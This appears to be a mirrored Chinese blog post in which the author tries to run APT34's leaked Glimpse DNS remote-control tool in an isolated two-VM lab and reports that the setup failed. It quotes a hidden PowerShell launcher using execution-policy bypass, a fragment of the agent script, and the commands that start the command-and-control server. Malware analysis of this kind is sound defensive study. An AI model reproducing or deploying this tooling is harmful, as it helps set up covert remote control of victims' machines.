2

APT34 Glimpse 工具初探

 2 years ago
source link: https://jason1314zhang.github.io/blog/APT34-Glimpse/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

0x00 背景

这阵子接到一个任务,需要我对powershell无文件攻击进行分析。在找了一圈资料之后,最后决定对APT34(带有伊朗背景)的远程powershell工具Glimpse进行分析,虽然最后的结果并不完美,暂且记录一下。

APT34攻击样本分析-绿盟

APT34工具Github

0x01 Glimpse概述

该工具利用DNS协议进行通信,可以在agent端和server端传输指令信息,是一款远程控制工具。主要包括三个部分:agent、panel、server

  1. agent
    agent为受控端,包含1个vbs脚本和3个ps1脚本
    runner_.vbs 用于启动ps1脚本
    dns.psl 用于与服务端通信
    dns_main.psl 用于与服务端通信
    refineddns_main.ps1 用于与服务端通信
  2. panel
    panel是服务器端可视化工具,可以对通信信息进行监视
    newPanel-dbg.exe 可视化程序
    ToggleSwitch.dll 用来处理信息交互
  3. server
    server是服务器端,接收并解析agent端的DNS请求,向agent端下发指令
    srvr.js 用来处理信息交互的js脚本

0x02 实验环境

首先创建了两台虚拟机,win7(192.168.48.131)和win10(192.168.48.129)。然后配置虚拟网络映射器,使两台虚拟机组网后位于同一局域网络,并且与主机不在同一局域网 (样本有风险,实验环境应该与外网和主机隔离),关闭防火墙,保证两台虚拟机之间能ping通。

win7 ping win10

7t10.png

win10 ping win7

10to7.png

0x03 实验分析

分为3个部分:agent、server、panel

  1. agent – win7 192.168.48.131

    修改runner_.vbs脚本内容,将AGENT PATH改为实际文件路径,这里我改为同文件目录的dns.ps1

    set sh=CreateObject("Wscript.Shell")
    sh.Run "powershell -exec bypass -file <AGENT PATH>", 0, False

    修改dns.ps1文件,修改server地址(这里我改为win10的ip 192.168.48.129)

    $MMC = "<MALICIOUS SERVER>"; #填写服务器地址
    $NNC = $env:PUBLIC + "\Libraries";
    if (-not (Test-Path $NNC)) { md $NNC; }
    $OOC = $NNC + "\quid";
    $PPC = $NNC + "\lock";
    if (!(Test-Path $PPC)){sc -Path $PPC -Value $pid;}
    else
    {
    $QQC = (NEW-TIMESPAN -Start ((Get-ChildItem $PPC).CreationTime) -End (Get-Date)).Minutes
    if ($QQC -gt 10)
    {
    stop-process -id (gc $PPC);
    ri -Path $PPC;
    }
    return;
    }

    双击运行runner_.vbs脚本,它会启动dns.ps1脚本,在C:\Users\Public目录下新建Libraries文件夹,其文件树结构如下,除了生成两个文件夹以外,还生成了一个quid文件(内容为uid,即此处的198320f4c4)

    run.png

  2. server – win10 192.168.48.129
    安装nodejs
    创建一个项目文件夹(这里我的是APT34_RCE),将服务端文件srvr.js复制到当前路径,初始化nodejs项目

    npm init

    在当前文件夹路径安装相关依赖包(npm国外源很慢,可以换cnpm用国内taobao源)

    npm install --save body-parser cookies child_process dnsd webix express ip fs path sqlite3 http portscanner child_process async ejs express-fileupload dateformat multer file-base64 flat-file-db moment busboy
    npm install --save -g forever

    cmd打开当前路径,开启server(下面的命令会让服务端持久运行)

    forever start srvr.js

    它会在目录C:\ProgramData下创建文件夹Glimpse,用来保存与agent的通信信息

    port.png

    服务端的理想情况是监听本机ip的53端口,但自己测试的时候,用netstat -ano | findstr 53命令查找53端口,其并没有在监听。网上找到的攻击成功的截图都来自原作者的telegram

  3. panel
    在图形化面板panel模块,也没有得到agent与server的通信信息

    visual.png

0x04 自闭

花了一天的时间去找问题,目前还没有解决…开始自闭…

怀疑是以下原因

  1. 两台虚拟机均没有连接外网,DNS解析maybe失败
  2. agent和server配置出错
  3. 该工具本身不完整

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK